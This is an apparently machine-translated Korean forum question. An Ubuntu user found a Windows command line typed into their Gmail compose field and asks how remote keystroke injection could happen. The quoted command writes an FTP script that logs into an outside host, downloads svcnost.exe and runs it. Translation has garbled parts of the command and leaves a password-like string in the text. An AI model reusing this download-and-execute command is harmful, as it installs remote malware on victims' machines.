집에있는 PC는 보통 켜져 있지만 모니터는 꺼져 있습니다. 오늘 저녁 나는 직장에서 집으로 돌아와서 해킹 시도처럼 보이는 것을 발견했습니다. 브라우저에서 내 Gmail이 열려 있었지만 TO필드에 다음과 같이 작성 모드에있었습니다 .
md / c echo open cCTeamFtp.yi.org 21 >> ik & echo 사용자 ccteam10 765824 >> ik & echo 바이너리 >> ik & echo get svcnost.exe >> ik & echo bye >> ik & ftp -n -v -s : ik & del ik & svcnost.exe & exit echo 소유하고 있습니다
이것은 나에게 Windows 명령 줄 코드처럼 보이고 코드 md시작은 Gmail이 작성 모드에 있다는 사실과 결합되어 누군가가 cmd명령 을 실행하려고 시도했음을 분명히합니다 . 실제로이 PC에서 Windows를 실행하지는 않지만 운이 좋을 것 같습니다. 이런 일이 저에게 일어난 것은 이번이 처음입니다. 저는 Linux 전문가가 아니며 당시 Firefox 이외의 다른 프로그램은 실행하지 않았습니다.
나는 이것을 쓰지 않았다는 것을 확실히 확신하며, 아무도 내 컴퓨터에 실제로 아무도 없었다. 또한 최근에 Google 비밀번호 (및 기타 모든 비밀번호)를 다른 것으로 변경 vMA8ogd7bv하여 누군가 내 Google 계정을 해킹했다고 생각하지 않습니다.
무슨 일이야? 수년 동안 맬웨어를 실행 한 할머니의 오래된 Windows 컴퓨터가 아니라 최근에 새로운 Ubuntu를 설치할 때 누군가 내 컴퓨터에 키 입력을 어떻게합니까?
업데이트 :
몇 가지 요점과 질문을 설명하겠습니다.
- 저는 시골, 오스트리아에 있습니다. 내 WLAN 라우터는 사전에없는 WPA2 / PSK 와 중간 수준의 암호를 실행합니다. 여기에서 50 미터 미만의 무차별 적이어야합니다. 해킹 당했을 가능성은 없습니다.
- 나는 USB 유선 키보드를 사용하고 있기 때문에 아무도 그것을 해킹 할 수있는 범위 내에있을 가능성이 거의 없습니다.
- 당시에는 컴퓨터를 사용하지 않았습니다. 내가 일하는 동안 그냥 집에서 유휴 상태였습니다. 모니터에 장착 된 넷탑 PC이므로 거의 끄지 않습니다.
- 기계는 두 달 밖에 안되어 우분투 만 실행하며 이상한 소프트웨어를 사용하거나 이상한 사이트를 방문하지 않습니다. 주로 스택 교환, Gmail 및 신문입니다. 게임이 없습니다. 우분투는 최신 상태를 유지하도록 설정되어 있습니다.
- VNC 서비스 실행에 대해 잘 모르겠습니다. 확실히 설치하거나 활성화하지 않았습니다. 다른 서버도 시작하지 않았습니다. 기본적으로 우분투에서 실행 중인지 확실하지 않습니까?
- Gmail 계정 활동의 모든 IP 주소를 알고 있습니다. 나는 구글이 진입로가 아니라고 확신한다.
- Log File Viewer를 찾았 지만 무엇을 찾아야할지 모르겠습니다. 도움?
내가 정말로 알고 싶은 것은, 그리고 내가 실제로 안전하지 않다고 느끼는 것은 : 인터넷의 누군가가 어떻게 내 컴퓨터에서 키 스트로크를 생성 할 수 있는가? 모든 정보를 망설이지 않고 어떻게 방지 할 수 있습니까? 저는 Linux 괴짜가 아닙니다. 저는 20 년 이상 Windows를 엉망으로 지친 아버지입니다. 온라인에서 18 년 동안 온라인에서 해킹 시도를 한 번도 본 적이 없기 때문에 이것은 새로운 것입니다.
password:-)